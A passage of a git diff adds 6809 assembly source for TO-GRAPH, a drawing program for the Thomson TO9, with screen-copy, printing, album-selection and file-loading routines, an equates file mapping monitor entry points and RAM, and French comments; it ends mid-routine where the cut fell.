+       LEAS   -10,S
+BUFV   SET    0
+NBSEG  SET    8
+PA     SET    10
+PB     SET    11
+PX     SET    12
+*---------------------------------------
+       STB    CPTLT
+
+*      Codage buffer en colonnes
+BIMPL0 LEAY   BUFV,S    raz mano
+       LDA    #8
+BIMPL1 CLR    ,Y+
+       DECA
+       BNE    BIMPL1    ->
+
+       LDA    #8        colonnes car.
+       STA    CPTCT     cour. -> mano
+BIMPL2 LDA    #8
+       LEAY   BUFV,S
+       LDB    ,X+
+BIMPL3 LSLB
+       ROR    ,Y+
+       DECA
+       BNE    BIMPL3    ->
+       DEC    CPTCT
+       BNE    BIMPL2    ->
+
+       LEAX   -8,X      buffer recodé
+       LEAY   BUFV,S
+       LDA    #8
+BIMPL4 LDB    ,Y+
+       STB    ,X+
+       DECA
+       BNE    BIMPL4    ->
+
+       DEC    CPTLT
+       BNE    BIMPL0    car. suiv ->
+
+*      Calcul et codage ASCII nb segment
+*      en soustrayant les nuls de droite
+       LDB    PB,S
+       LDA    #8
+       MUL
+       LDX    PX,S
+       LEAX   D,X
+LIMPK0 TST    ,-X
+       BNE    LIMPK1    ->
+       SUBD   #1
+       BNE    LIMPK0    ->
+LIMPK1 STD    NBSEG,S
+       LBEQ   LIMPL3    rien ->
+
+       LEAX   BUFV,S
+       LDY    #3
+       JSR    BINDCD
+       LDA    #3
+       LEAX   BUFV,S
+BIMPL5 LDB    ,X+
+       CMPB   #$20
+       BNE    LIMPL0    ->
+       ADDB   #$10
+       STB    -1,X
+       DECA
+       BNE    BIMPL5    ->
+
+LIMPL0 LDB    #ESC      édition graphiq.
+       JSR    RSCO
+       LDB    #$47
+       LDA    PA,S
+       BEQ    LIMPL1
+       ADDB   #2
+LIMPL1 JSR    RSCO
+
+       LEAX   BUFV,S
+       LDA    #3
+BIMPL6 LDB    ,X+
+       JSR    RSCO
+       DECA
+       BNE    BIMPL6    ->
+
+       LDX    PX,S
+       LDY    NBSEG,S
+
+       LDA    PA,S
+       BNE    BIMPL8    double ->
+
+BIMPL7 LDB    ,X+       simple
+       JSR    RSCO
+       LEAY   -1,Y
+       BNE    BIMPL7    ->
+       BRA    LIMPL3    ->
+
+BIMPL8 LDA    ,X+       double/1er  oct.
+       CLRB
+       LSRA
+       RORB
+       LSRB
+       LSRA
+       RORB
+       LSRB
+       LSRA
+       RORB
+       LSRB
+       LSRA
+       RORB
+       STB    BUFV,S
+       LSRB
+       ORB    BUFV,S
+       JSR    RSCO
+*                       double/1er  oct.
+       CLRB
+       LSRA
+       RORB
+       LSRB
+       LSRA
+       RORB
+       LSRB
+       LSRA
+       RORB
+       LSRB
+       LSRA
+       RORB
+       STB    BUFV,S
+       LSRB
+       ORB    BUFV,S
+       JSR    RSCO
+       LEAY   -1,Y
+       BNE    BIMPL8    ->
+
+LIMPL3 LDB    #LF       lig. suiv
+       JSR    RSCO
+
+       LEAS   10,S
+       PULS   D,X,Y,U,PC
+
+
+*=======================================
+* S/P lecture sur le fichier courant
+*
+* Sortie: A  car. lu si ok
+*         CY 0 si ok
+*            1 si pb -> erreur traitée
+*                       fichier fermé
+*=======================================
+
+XLECFI PSHS   B
+*---------------------------------------
+       LDB    #INPUT
+       JSR    EXTRA
+       TSTB
+       BNE    LEFIFR    erreur ->
+       LDB    #78       'bad picture'
+       TST    EOFFLG    si eof !
+       BNE    LEFIFR    ->
+       LDA    CARCOU
+       ANDCC  #$FE
+       PULS   B,PC      ->>
+
+LEFIFR JSR    DOSERR
+       LDB    #CLOSE
+       JSR    EXTRA
+       ORCC   #1
+       PULS   B,PC
+
+
+*=======================================
+* S/P lecture écran -> tiroir
+*
+* Entrée XT0,YT0   coord. début
+*        XT1,YT1   coord. fin
+*=======================================
+
+TMAQG2 FDB    $FF7F,$3F1F,$0F07,$0301
+TMAQD2 FDB    $80C0,$E0F0,$F8FC,$FEFF
+
+XLITTI EQU    *
+*---------------------------------------
+       LDA    #1        note tiroir ok
+       STA    <FLGTIR
+
+*      calcul des dimensions points
+       LDD    <XT1
+       SUBD   <XT0
+       ADDD   #1
+       STD    <LPTTIR
+       LDA    <YT1
+       SUBA   <YT0
+       INCA
+       STA    <HPTTIR
+
+*      calcul des dimensions segment
+*      Nb: le tiroir est augmenté de 1
+*          en largeur à cause décalages
+*          ultérieurs
+       LDD    <XT0
+       LSRA
+       RORB
+       LSRA
+       RORB
+       LSRB
+       STB    <COLT0
+       LDD    <XT1
+       LSRA
+       RORB
+       LSRA
+       RORB
+       LSRB
+       INCB             +1 sur largeur
+       STB    <COLT1
+       SUBB   <COLT0
+       INCB
+       STB    <LARTIR
+       LDD    <XT0
+       ANDB   #$07
+       STB    <DECTIR   décal. bit/seg.
+
+*      calcul des référence 1er segment
+*      (page écran et adresse
+       LDA    $E7C3
+       ANDA   #$FE
+       LDB    <COLT0
+       LSRB
+       BCS    XDCC2     ->
+       ORA    #$01
+XDCC2  STA    <PRE7C3
+       LDA    <YT0
+       LDB    #40
+       MUL
+       ADDD   #$4000
+       STD    <ADPRSG
+       CLRA
+       LDB    <COLT0
+       LSRB
+       ADDD   <ADPRSG
+       STD    <ADPRSG
+
+*      calcul des nb de seg. sur page
+*      du 1er et sur l'autre
+       LDA    <LARTIR
+       LSRA
+       STA    <NBSEG1
+       STA    <NBSEG2
+       BCC    XDCC3     ->
+       INC    <NBSEG1
+
+*      acquisition des seg. 1ère page
+XDCC3  LDA    <PRE7C3
+       STA    $E7C3
+       LDA    <HPTTIR
+       STA    <CPTLT
+       LDU    <ADPRSG
+       STU    <ADPRSL
+       LDX    #ZONTRA
+       TFR    X,Y       Y=ad 1ère lign
+XDCC10 LDA    <NBSEG1
+XDCC11 LDB    ,U+
+       STB    ,X++
+       DECA
+       BNE    XDCC11    ->
+       TFR    Y,X
+       LDB    <LARTIR
+       ABX
+       TFR    X,Y
+       LDU    <ADPRSL
+       LEAU   40,U
+       STU    <ADPRSL
+       DEC    <CPTLT
+       BNE    XDCC10    ->
+
+*      acquisition des seg. 2ème page
+       LDA    $E7C3
+       EORA   #$01
+       STA    $E7C3
+       LDA    <HPTTIR
+       STA    <CPTLT
+       CLRA
+       LDB    <PRE7C3
+       ANDB   #1
+       EORB   #1
+       ADDD   <ADPRSG
+       STD    <ADPRSL
+       TFR    D,U
+       LDX    #ZONTRA+1
+       TFR    X,Y       Y=ad 1ère lign
+XDCC20 LDA    <NBSEG2
+XDCC21 LDB    ,U+
+       STB    ,X++
+       DECA
+       BNE    XDCC21    ->
+       TFR    Y,X
+       LDB    <LARTIR
+       ABX
+       TFR    X,Y
+       LDU    <ADPRSL
+       LEAU   40,U
+       STU    <ADPRSL
+       DEC    <CPTLT
+       BNE    XDCC20    ->
+
+*      mise à zéro des bits hors tiroir
+*      à gauche
+       LEAX   TMAQG2,PCR
+       LDA    <DECTIR
+       BEQ    RZDT      ->
+       LDA    A,X
+       STA    <CPTCT
+       LDA    <HPTTIR
+       LDX    #ZONTRA
+BRGT   LDB    ,X
+       ANDB   <CPTCT
+       STB    ,X
+       LDB    <LARTIR
+       ABX
+       DECA
+       BNE    BRGT      ->
+
+*      mise à zéro des bits hors tiroir
+*      à droite
+RZDT   LDD    <XT1
+       ANDB   #7
+       CMPB   #7
+       BEQ    RZDD      ->
+       LEAX   TMAQD2,PCR
+       LDA    B,X
+       STA    <CPTCT
+       LDA    <HPTTIR
+       LDX    #ZONTRA
+       LDB    <LARTIR
+       ABX
+       LEAX   -2,X
+BRDT   LDB    ,X
+       ANDB   <CPTCT
+       STB    ,X
+       LDB    <LARTIR
+       ABX
+       DECA
+       BNE    BRDT      ->
+
+*      mise à zéro du segment supplé-
+*      mentaire pour décalage
+RZDD   LDA    <HPTTIR
+       LDX    #ZONTRA
+       LDB    <LARTIR
+       ABX
+       LEAX   -1,X
+BRDD   CLR    ,X
+       LDB    <LARTIR
+       ABX
+       DECA
+       BNE    BRDD      ->
+       RTS
+
+
+*=======================================
+* S/P Lecture d'un bit sur le tiroir
+*
+* Entrée: X     coord. dans tiroir
+*         CPTLT
+* Sortie: Z   bit nul ou non
+*=======================================
+
+TEXTBL FDB    $8040,$2010,$0804,$0201
+
+XLECTX PSHS   X
+PX     SET    0
+*---------------------------------------
+       LDU    #$A000
+       LDA    <CPTLT
+       LDB    <LARTIR
+       MUL
+       LEAU   D,U
+       TFR    X,D
+       LSRA
+       RORB
+       LSRA
+       RORB
+       LSRB
+       LDB    D,U
+       LDA    PX+1,S
+       ANDA   #7
+       LEAX   TEXTBL,PCR
+       ANDB   A,X
+       PULS   X,PC
+
+
+*=======================================
+* S/P pointage d'un album dans table
+*
+* Entrée: X   pt nom album
+* Sortie: CY  1  pas trouvé
+*             0  ok
+*         X   pt dans table si ok
+*             non modifié sinon
+*=======================================
+
+XPTALB PSHS   D,X,Y,U
+       LEAS   -1,S
+ALBC   SET    0
+PD     SET    1
+PX     SET    3
+*---------------------------------------
+
+       TST    MAXALB
+       BEQ    PTALER    ->
+
+       LDU    #TABALB
+       CLR    ALBC,S
+PTAL1  TST    8,U
+       BMI    PTAVID    poste vide ->
+       LDX    PX,S
+       TFR    U,Y
+       LDA    #8
+PTAL2  LDB    ,X+
+       CMPB   ,Y+
+       BNE    PTAL3     différent ->
+       DECA
+       BNE    PTAL2     ->
+       BRA    PTALOK    trouvé ->
+PTAL3  INC    ALBC,S
+       LDA    ALBC,S
+       CMPA   MAXALB
+       BGE    PTALER    fini ->
+PTAVID LEAU   9,U
+       BRA    PTAL1     ->
+
+PTALOK STU    PX,S
+       ANDCC  #$FE
+       LEAS   1,S
+       PULS   D,X,Y,U,PC ->>
+PTALER ORCC   #$01
+       LEAS   1,S
+       PULS   D,X,Y,U,PC ->>
+
+
+*=======================================
+* S/P sélection d'un album préexistant
+*
+* Entrée: A,B coordonnées fenêtre
+*         X   =0  => visu seule
+*             =-1 => sélection
+*         Y   nb niv. à remonter si ok
+*             (aucun si <0 )
+* Sortie: CY  1  Raz ou pas d'album
+*             0  ok
+*         X   pt dans table si ok
+*=======================================
+
+FFELAL FCB    FLOCF,0,0,13,44
+       FCB    FTRAME,FTOURI
+       FCB    FCOMF,FF,OFF
+       FCB    FLOCF,1,1,1,42
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FLOCF,1,15,1,42
+       FCB    FEDI,ESC,$4E
+       FCC    \ALBUMS\
+       FCB    ESC,$4C,0
+       FCB    FLOCF,3,1,9,42
+       FCB    FFOND,FTOURE,FCADRE
+
+       FCB    FLOCF,4,3,1,8
+       FCB    FPOUSS,200,INTERD
+       FCB    FLOCF,4,13,1,8
+       FCB    FPOUSS,201,INTERD
+       FCB    FLOCF,4,23,1,8
+       FCB    FPOUSS,202,INTERD
+       FCB    FLOCF,4,33,1,8
+       FCB    FPOUSS,203,INTERD
+
+       FCB    FLOCF,6,3,1,8
+       FCB    FPOUSS,204,INTERD
+       FCB    FLOCF,6,13,1,8
+       FCB    FPOUSS,205,INTERD
+       FCB    FLOCF,6,23,1,8
+       FCB    FPOUSS,206,INTERD
+       FCB    FLOCF,6,33,1,8
+       FCB    FPOUSS,207,INTERD
+
+       FCB    FLOCF,8,3,1,8
+       FCB    FPOUSS,208,INTERD
+       FCB    FLOCF,8,13,1,8
+       FCB    FPOUSS,209,INTERD
+       FCB    FLOCF,8,23,1,8
+       FCB    FPOUSS,210,INTERD
+       FCB    FLOCF,8,33,1,8
+       FCB    FPOUSS,211,INTERD
+
+       FCB    FLOCF,10,3,1,8
+       FCB    FPOUSS,212,INTERD
+       FCB    FLOCF,10,13,1,8
+       FCB    FPOUSS,213,INTERD
+       FCB    FLOCF,10,23,1,8
+       FCB    FPOUSS,214,INTERD
+       FCB    FLOCF,10,33,1,8
+       FCB    FPOUSS,215,INTERD
+       FCB    FSTOP
+
+MPASAL FCC    \PASD'ALBUM\
+       FCB    0
+
+*---------------------------------------
+XSELAL PSHS   D,X,Y,U
+       LEAS   -2,S
+ALBC   SET    0
+ALBOK  SET    1
+PD     SET    2
+PX     SET    4
+PYL    SET    7
+*---------------------------------------
+
+       TST    NBALB
+       BNE    SELAL0    ->
+       LEAX   MPASAL,PCR
+       JSR    FENERR
+       LBRA   SELALF    ->
+SELAL0 LEAX   FFELAL,PCR
+       LDD    PD,S
+       JSR    FENOUV
+
+       CLR    ALBC,S    visu albums
+       CLR    ALBOK,S
+       LDU    #TABALB
+SELAL1 TST    8,U
+       BMI    ALVID     ->
+       LDB    ALBOK,S   poste occupé
+       ADDB   #200
+       JSR    FENCH
+       TST    PX,S
+       BEQ    SELALV    visu seule ->
+       LDA    #OFF
+       STA    VAL,X
+SELALV LDA    #8
+SELAL2 LDB    ,U+
+       JSR    FENPUT
+       DECA
+       BNE    SELAL2    ->
+       LEAU   1,U
+       INC    ALBOK,S
+SELAL3 INC    ALBC,S
+       LDA    ALBC,S
+       CMPA   #16
+       BGE    SELAL4    fini ->
+       BRA    SELAL1    ->
+ALVID  LEAU   9,U
+       BRA    SELAL3    ->
+
+SELAL4 JSR    FENACT    sélection
+SELAL5 JSR    FEN
+       TSTB
+       BEQ    SELAL5    ->
+       CMPB   #FF
+       BEQ    SELALR    raz ->
+       TST    PX,S
+       BEQ    SELAL5    visu seule ->
+       SUBB   #200
+       BMI    SELAL5    ->
+       CMPB   ALBOK,S
+       BGE    SELAL5    ->
+
+*      Album sélectionné
+       INCB
+       LDX    #TABALB
+SELAL6 TST    8,X
+       BMI    SELAL7    ->
+       DECB
+       BEQ    FSELAL    pointé ->
+SELAL7 LEAX   9,X
+       BRA    SELAL6    ->
+
+FSELAL STX    PX,S
+       LDB    PYL,S
+       BMI    SELALZ    dépile par appel
+       JSR    FENFER               .lant
+       JSR    FENACT
+SELALZ ANDCC  #$FE
+       LEAS   2,S
+       PULS   D,X,Y,U,PC ->>
+SELALR CLRB
+       JSR    FENFER
+       JSR    FENACT
+SELALF ORCC   #$01
+       LEAS   2,S
+       PULS   D,X,Y,U,PC ->>
+
+
+*=======================================
+* S/P visualisation du tiroir
+*
+* Entrée: X   coord. graphique haut
+*         Y   gauche
+*         A   #0 si effacement préalable
+*=======================================
+
+XVISTI PSHS   D,X,Y,U
+PA     SET    0
+PB     SET    1
+PX     SET    2
+PY     SET    4
+*---------------------------------------
+
+*      calculer coord. de visualisation
+       LDD    PX,S
+       STD    <XT0
+       ADDD   <LPTTIR
+       SUBD   #1
+       STD    <XT1
+
+       LDD    PY,S
+       STD    <YT0
+       CLRA
+       LDB    <HPTTIR
+       ADDD   <YT0
+       SUBD   #1
+       STD    <YT1
+
+*      décaler le tiroir pour corresp.
+*      colonnes
+       LDD    <XT0
+       ANDB   #7
+       LBSR   XDECAL
+
+*      calcul de la zone visualisée
+       LDD    <XT0
+       ASRA
+       RORB
+       ASRA
+       RORB
+       ASRA
+       RORB
+       STB    <COLT0
+       CLR    <DECSEG
+       CMPB   #4
+       BGE    XPCL10    ->
+       LDA    #4
+       SUBA   <COLT0
+       STA    <DECSEG
+       LDA    #4
+       STA    <COLT0
+       LDD    #32
+       STD    <XT0
+
+XPCL10 CLR    <DECLIG
+       LDD    <YT0
+       CMPD   #8
+       BGE    XPCL11    ->
+       LDD    #8
+       SUBD   <YT0
+       STB    <DECLIG
+       LDD    #8
+       STD    <YT0
+XPCL11 LDA    <YT0+1
+       STA    <YT0      valeur 8..191
+
+       LDD    <XT1
+       ASRA
+       RORB
+       ASRA
+       RORB
+       ASRA
+       RORB
+       STB    <COLT1
+       CMPB   #77
+       BLE    XPCL12    ->
+       LDB    #77
+       STB    <COLT1
+       LDD    #623
+       STD    <XT1
+
+XPCL12 LDD    <YT1
+       CMPD   #191
+       BLE    XPCL13    ->
+       LDD    #191
+       STD    <YT1
+XPCL13 LDA    <YT1+1    valeur 8..191
+       STA    <YT1
+
+       LDA    <COLT1
+       SUBA   <COLT0
+       INCA
+       STA    <LARTV
+       LDA    <YT1
+       SUBA   <YT0
+       INCA
+       STA    <HAUTV
+
+*      calcul des référence 1er segment
+*      (page écran et adresse
+       LDA    $E7C3
+       ANDA   #$FE
+       LDB    <COLT0
+       LSRB
+       BCS    XPCC2     ->
+       ORA    #$01
+XPCC2  STA    <PRE7C3
+       LDA    <YT0
+       LDB    #40
+       MUL
+       ADDD   #$4000
+       STD    <ADPRSG
+       CLRA
+       LDB    <COLT0
+       LSRB
+       ADDD   <ADPRSG
+       STD    <ADPRSG
+
+*      calcul des nb de seg. sur page
+*      du 1er et sur l'autre
+       LDA    <LARTV
+       LSRA
+       STA    <NBSEG1
+       STA    <NBSEG2
+       BCC    XPCC3     ->
+       INC    <NBSEG1
+
+*      si demandé... effacer
+XPCC3  TST    PA,S
+       BEQ    XPCC4     ->
+       LBSR   XCLRTI
+
+*      superposition des seg. 1ère page
+XPCC4  LDA    <PRE7C3
+       STA    $E7C3
+       LDA    <HAUTV
+       STA    <CPTLT
+       LDU    <ADPRSG
+       STU    <ADPRSL
+       LDY    #ZONTRA   Y=ad 1ére ligne
+       LDA    <LARTIR
+       LDB    <DECLIG
+       MUL
+       LEAY   D,Y
+XPCC10 LDA    <DECSEG
+       LEAX   A,Y
+       LDA    <NBSEG1
+XPCC11 LDB    ,U
+       ORB    ,X++
+       STB    ,U+
+       DECA
+       BNE    XPCC11    ->
+       LDB    <LARTIR
+       LEAY   B,Y
+       LDU    <ADPRSL
+       LEAU   40,U
+       STU    <ADPRSL
+       DEC    <CPTLT
+       BNE    XPCC10    ->
+
+*      superposition des seg. 2ème page
+       LDA    $E7C3
+       EORA   #$01
+       STA    $E7C3
+       LDA    <HAUTV
+       STA    <CPTLT
+       CLRA
+       LDB    <PRE7C3
+       ANDB   #1
+       EORB   #1
+       ADDD   <ADPRSG
+       STD    <ADPRSL
+       TFR    D,U
+       LDY    #ZONTRA+1 Y=ad 1ére ligne
+       LDA    <LARTIR
+       LDB    <DECLIG
+       MUL
+       LEAY   D,Y
+XPCC20 LDA    <DECSEG
+       LEAX   A,Y
+       LDA    <NBSEG2
+XPCC21 LDB    ,U
+       ORB    ,X++
+       STB    ,U+
+       DECA
+       BNE    XPCC21    ->
+       LDB    <LARTIR
+       LEAY   B,Y
+       LDU    <ADPRSL
+       LEAU   40,U
+       STU    <ADPRSL
+       DEC    <CPTLT
+       BNE    XPCC20    ->
+
+       PULS   D,X,Y,U,PC ->>
diff --git a/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-EQ.ASM b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-EQ.ASM
new file mode 100644
index 0000000..6c3093e
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-EQ.ASM
@@ -0,0 +1,354 @@
+       TITLE  TO-GRAPH: Equates
+*      ------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*           TO-GRAPH                   *
+*                                      *
+*    Equates                           *
+*                                      *
+****************************************
+
+
+* Definition des points d'entree dans
+* le moniteur TO9
+*-------------------------------------
+
+STATUS EQU    $6019   état machine
+RANG   EQU    $601B   rangee courante
+COLN   EQU    $6020   colonne courante
+TIMEPT EQU    $6027   vecteur IT timer
+RSOPC  EQU    $602B
+USERAF EQU    $602D   pt car. user
+ATRANG EQU    $6039   attrib. courants
+ATRSCR EQU    $603A   ...     écran
+COLOUR EQU    $603B   couleur cour.
+TELETL EQU    $603C   mode page
+CHDRAW EQU    $6041   tracé point ou car
+MAXBK  EQU    $6047   dernier bank libre
+DKDRV  EQU    $6049   drive courant
+DKNUM  EQU    $604D   entrelacement
+SCRMOD EQU    $605F   mode écran
+BUFCLV EQU    $6079   pt buffer clavier
+SIZCLV EQU    $607B   lg buffer clavier
+IDSAUT EQU    $6082   buffer clav. std.
+PTGENE EQU    $60CF   géné. car.
+
+VALTYP EQU    $6105   calculs
+FACMO  EQU    $6150
+FACLO  EQU    $6151
+ARGMO  EQU    $615B
+ARGLO  EQU    $615C
+DEBZON EQU    $616B
+FINZON EQU    $616E
+EOFFLG EQU    $6178
+NAMSEC EQU    $618E
+NAMSLT EQU    $618F
+CARCOU EQU    $6196
+SECBUF EQU    $6197
+FATPTR EQU    $6199
+COULGR EQU    $619F   couleur graphique
+TRATYP EQU    $61A0   type tracé
+XXXXXX EQU    $61A1   curseur graphique
+YYYYYY EQU    $61A3   .
+XL     EQU    $61A5   marges graphiques
+YB     EQU    $61A7
+XR     EQU    $61A9
+YT     EQU    $61AB
+X0COD  EQU    $61D6
+Y0COD  EQU    $61D7
+X1COD  EQU    $61D8
+Y1COD  EQU    $61D9
+PASSCD EQU    $61DB
+LSTBYT EQU    $61DC
+FILFLG EQU    $61EF   flag remplissage
+AXEH   EQU    $61F1   rayons ellipses
+AXEV   EQU    $61F0
+CAMFLG EQU    $61F2
+
+PUTFLG EQU    $6249   mode cod/decod ima
+FILMOD EQU    $624B
+FILTYP EQU    $624C
+ASCFLG EQU    $624D
+FILNAM EQU    $624F   nom fichier
+OPTBUF EQU    $625A
+MACP   EQU    $627D   pt motif rempliss.
+WITH   EQU    $6288   type tracé
+
+BANKC  EQU    $E7E5   gate commut bank
+
+PUTC   EQU    $E803   edition ecran
+INITC  EQU    $E800   init ecran
+GETC   EQU    $E806   lecture clavier
+KTST   EQU    $E809   test clavier
+RSCO   EQU    $E812   e/s
+GETL   EQU    $E818   lect souris
+LPIN   EQU    $E81B   lect touche souris
+GETP   EQU    $E821   lect point graphi.
+GETS   EQU    $E824   lect écran
+MENU   EQU    $E82D   retour TO9
+KBIN   EQU    $E830   clig. curs. IT
+SETP   EQU    $EC00   definition couleur
+EXTRA  EQU    $EC0C   extra. moniteur
+RESETC EQU    0       .
+RESETW EQU    1       .
+FCBINI EQU    2       .
+OPEN   EQU    3       .
+PRINT  EQU    4       .
+INPUT  EQU    5       .
+CLOSE  EQU    6       .
+DIR0   EQU    8       .
+ERRMSG EQU    20      .
+CIRCLE EQU    24      .
+PSETXY EQU    25      .
+LINE   EQU    26      .
+BOX    EQU    27      .
+CHOIX  EQU    28      .
+PAINT  EQU    29      .
+MIG    EQU    30      .
+SHOW   EQU    33      .
+MOVE   EQU    38      .
+INITOR EQU    39      .
+CMPTOR EQU    40      .
+SGN    EQU    41      .
+SQR    EQU    44      .
+FRCTYP EQU    50      .
+SUBGO  EQU    55      .
+MULTGO EQU    56      .
+DIVGO  EQU    57      .
+MOVFM  EQU    62      .
+MOVMF  EQU    63      .
+MOVAF  EQU    64      .
+EXTFIN EQU    65      .
+CODE   EQU    69      .
+
+SQI    EQU    $10     accès fichier
+SQO    EQU    $20
+
+
+* Equates caractères
+*---------------------------------------
+
+BS     EQU    $08     codes ASCII ctrl
+HT     EQU    $09
+LF     EQU    $0A
+VT     EQU    $0B
+FF     EQU    $0C
+RC     EQU    $0D
+SS2    EQU    $16
+CAN    EQU    $18
+ESC    EQU    $1B
+INS    EQU    $1C
+EFF    EQU    $1D
+RS     EQU    $1E
+US     EQU    $1F
+SP     EQU    $20
+GRAVE  EQU    $41
+AIGU   EQU    $42
+CIRCON EQU    $43
+DEL    EQU    $7F
+
+* Equates des outils
+*---------------------------------------
+
+POINTS EQU    0
+LIGNES EQU    1
+RECTAN EQU    2
+CARRE  EQU    3
+ELLIPS EQU    4
+CERCLE EQU    5
+CARACT EQU    6
+PEINTU EQU    7
+GOMME  EQU    8
+LOUPE  EQU    9
+COUCOP EQU    10
+COLLER EQU    11
+
+* Etats des outils
+*---------------------------------------
+
+POINTE EQU    0
+TIRE   EQU    1
+
+* Tailles caractère
+*---------------------------------------
+
+TCN    EQU    $4C
+TCDH   EQU    $4D
+TCDL   EQU    $4E
+TCDT   EQU    $4F
+
+* Définition des bank RAM utilisées
+*---------------------------------------
+
+BKTIR  EQU    2       RAM
+PBKPIL EQU    3       Pile fenêtre
+DBKPIL EQU    6
+BKMANO EQU    6       Zone manoeuvre
+PBKTRA EQU    7       Feuille travail
+DBKTRA EQU    12
+PBKALB EQU    13      Albums
+
+* Définition des caractères utilisateurs
+*---------------------------------------
+
+* Nb de $80 à $AF ... icones outils !!!
+* Nb de $B0 à $BB ... icones taille trai
+MOTRAZ EQU    $BC     icone raz
+MOTRET EQU    $BD     icone retour
+MOTSUI EQU    $BE           suite
+CSCRG0 EQU    $BF     icones scroll
+CSCRG1 EQU    $C0
+CSCRG2 EQU    $C1
+CSCRD0 EQU    $C2
+CSCRD1 EQU    $C3
+CSCRD2 EQU    $C4
+CSCRH0 EQU    $C5
+CSCRH1 EQU    $C6
+CSCRH2 EQU    $C7
+CSCRB0 EQU    $C8
+CSCRB1 EQU    $C9
+CSCRB2 EQU    $CA
+
+* Déplacements sur RAM
+*---------------------------------------
+
+       ORG    $6800
+
+PILE   EQU    *-1     pile soft
+
+ZONFEN RMB    1080    zone fenêtrage
+
+OUTIL  RMB    1       outil courant
+
+MAXALB RMB    1       max. albums
+NBALB  RMB    1       nb album courant
+TABALB RMB    16*(8+1)
+*                     16 postes max
+*                     8 car: nom
+*                     1 car: bank
+
+ETAOUT RMB    1       état outil
+
+X0TIRE RMB    2       coordo. dessins
+Y0TIRE RMB    2       provisoires
+X1TIRE RMB    2
+Y1TIRE RMB    2
+
+REGCC  RMB    1       pile (/U) des
+REGA   RMB    1       param FEN
+REGB   RMB    1
+REGX   RMB    2
+REGY   RMB    2
+PILFEN EQU    *
+
+CARMOT RMB    8       motif courant
+MOTIF  EQU    *
+
+TXTMOT RMB    8       motif ASCII
+
+       RMB    8       motif plein
+PLEIN  EQU    *
+
+TCAR   RMB    1       taille caractère
+
+TLIGN  RMB    1       taille ligne
+
+FLGSS2 RMB    1       drapeau SS2
+
+FLGLOU RMB    1       drapeau loupe
+RNGLOU RMB    1       fenêtre loupe
+COLLOU RMB    1       ...
+
+STDTOR RMB    1       drapeau tortue std
+
+CADRNG RMB    1       zone cadréee dans
+CADCOL RMB    1       la fenêtre par
+CADHAU RMB    1       SPCADR
+CADLAR RMB    1       CADCOL=0..59!
+
+COEFMU RMB    4       réel coef écr/impr
+MEMREL RMB    4       réel manoeuvre
+
+DESCOU RMB    8       fichier courant
+
+* Chien de garde (peinture)
+*---------------------------------------
+
+BKDOG  RMB    1
+ADRDOG RMB    2
+STKDOG RMB    2
+DPDOG  RMB    1
+FLGDOG RMB    1
+XDOG   RMB    FDOG-DDOG
+
+* Page 0 en accès rapide:
+*    - Tiroir
+*    - Echanges écran <-> feuille
+*---------------------------------------
+
+       ORG    $6F00
+MANTIR EQU    *
+FLGTIR RMB    1       signale un tiroir
+*                     dans $A000...
+XT0    RMB    2       cordonnées points
+YT0    RMB    2       début
+XT1    RMB    2       cordonnées points
+YT1    RMB    2       fin
+CPTLT  RMB    1       compteurs
+CPTCT  RMB    1
+HPTTIR RMB    1       hauteur en points
+LPTTIR RMB    2       largeur ...
+LARTIR RMB    1       largeur en segment
+DECTIR RMB    1       décalage bit
+COLT0  RMB    1       col. car. gauche
+COLT1  RMB    1       col. car. droite
+ADPRSG RMB    2       adresse 1er seg.
+*                     dans chaque page
+ADPRSL RMB    2       adresse 1er seg.
+*                     ligne courante
+PRE7C3 RMB    1       page 1er segment
+NBSEG1 RMB    1       nb seg. 1ère page
+NBSEG2 RMB    1       nb seg. 2ème page
+DECSEG RMB    1       décalage visu
+DECLIG RMB    1
+LARTV  RMB    1       taille visu
+HAUTV  RMB    1
+ADF    RMB    2       adr. début feuille
+*                     pour les 2 pages
+*                     0..48959 (3 banks)
+ADPRRL RMB    2       adr. deb. ligne
+RGDECR RMB    1       rangée début écran
+*                     0..101 (8 pts)
+CLDECR RMB    1       colonne ...
+*                     0..59  (16 pts)
+
+* Variables de gestion "copier" sur
+* album
+*---------------------------------------
+
+COPALB RMB    1       flag FF=>en cours
+COPAOU RMB    1       mémo outil
+ALBCOU RMB    2       pt album courant
+
+
+* Tortue de pointage en mode caractère
+*---------------------------------------
+
+FLGTXT RMB    1       flag mode texte
+CLITXT RMB    1       flag clign tortue
+TORTXT RMB    100     descrip. tortue
+*                     pour mode texte
+TXTX   EQU    TORTXT+6  abscisse tortue
+TXTY   EQU    TORTXT+9  ordonne tortue
+TFORME EQU    TORTXT+16 forme
+
+* Tiroir ou zone manoeuvre (codage/
+* décodage,remplissage,copie fichier)
+* utilise tout le bank RAM
+*---------------------------------------
+
+ZONTRA EQU    $A000
+LGZTRA EQU    $E000-ZONTRA
+FINTRA EQU    $DFFF
diff --git a/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-F.ASM b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-F.ASM
new file mode 100644
index 0000000..6c3c2bf
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-F.ASM
@@ -0,0 +1,1114 @@
+       TITLE  TO-GRAPH: Gestion feuille
+*      --------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*           TO-GRAPH                   *
+*                                      *
+*    Gestion feuille                   *
+*                                      *
+****************************************
+
+
+*=======================================
+* S/P chargement du bank d'un album
+*
+* Entrée:  X  pt entrée de la table
+*             des albums
+* Sortie:  CY 0 ok
+*             1 erreur
+*=======================================
+
+CHAALB PSHS   D,X,Y
+       LEAS   -1,S
+MEMBK  SET    0
+PD     SET    1
+PX     SET    3
+*---------------------------------------
+
+       LDA    BANKC
+       STA    MEMBK,S
+
+       LDA    #SQI      ouverture fich
+       STA    FILMOD
+
+       LDY    #FILNAM
+       LDB    #8
+BCA0   LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    BCA0      ->
+       LDD    #$414C
+       STD    ,Y++
+       LDA    #$42
+       STA    ,Y
+
+       LDB    #OPEN
+       JSR    EXTRA
+       TSTB
+       BNE    FINALR    erreur ->
+       LDA    ,X
+       STA    BANKC
+
+*      récupérer la longueur du bloc
+
+       JSR    LECFIC
+       BCS    FINALR    ->
+       TSTA
+       BNE    FINARR    non 0 en tete ->
